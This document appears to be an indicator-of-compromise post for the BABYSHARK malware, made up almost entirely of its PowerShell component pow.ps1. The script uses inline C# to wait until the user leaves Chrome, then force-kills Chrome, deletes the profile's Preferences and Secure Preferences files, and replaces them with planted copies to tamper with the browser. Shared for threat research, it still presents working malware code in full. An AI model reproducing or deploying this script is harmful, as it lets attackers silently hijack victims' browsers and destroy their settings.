BABYSHARK malware IOCs

pow.ps1

Add-Type -TypeDefinition "using System;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace g1
{
	public static class P1
	{
		public static void M1()
		{
			int times = 0;
			while(1==1)
			{
				Sleep(10);
				IntPtr hWnd = IntPtr.Zero;
				hWnd = GetForegroundWindow();
				if (hWnd == IntPtr.Zero)
				{
					continue;
				}
				uint PID;
				GetWindowThreadProcessId(hWnd,out PID);
				Process pp = Process.GetProcessById((int)PID);
				string processpath=pp.ProcessName;
				if(processpath != ""chrome"")
				{
					Sleep(1000);
					times ++;
				}
				else
				{
					times = 0;
				}
				if(times > 120)
				{
					break;					
				}
			}
		}
		[DllImport(""user32.dll"")]static extern bool ShowWindow(IntPtr hW,int nC);
		[DllImport(""kernel32"")]public static extern void Sleep(uint dM);
		[DllImport(""User32.dll"")]public static extern int FindWindow(string sC,string sW);
		[DllImport(""user32.dll"", CharSet = CharSet.Auto)]public static extern int GetWindowText(IntPtr hWnd, StringBuilder title, int size);
		[DllImport(""user32.dll"")]public static extern IntPtr GetForegroundWindow();
		[DllImport(""user32.dll"", SetLastError = true, CharSet = CharSet.Auto)]public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
		[DllImport(""user32.dll"")]public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
		[DllImport(""user32.dll"")]public static extern bool PostMessage(IntPtr WindowHandle, int Msg, IntPtr wParam, IntPtr lParam);
	 }
}
" -ReferencedAssemblies System.Windows.Forms;
[g1.P1]::M1();

taskkill /im chrome.exe /f;
timeout 5
del "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences"
del "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences"

copy "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences1" "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences";
copy "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences1" "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences";
ren "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Preferences1" Preferences4;
ren "$env:userprofile\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences1" "Secure Preferences4";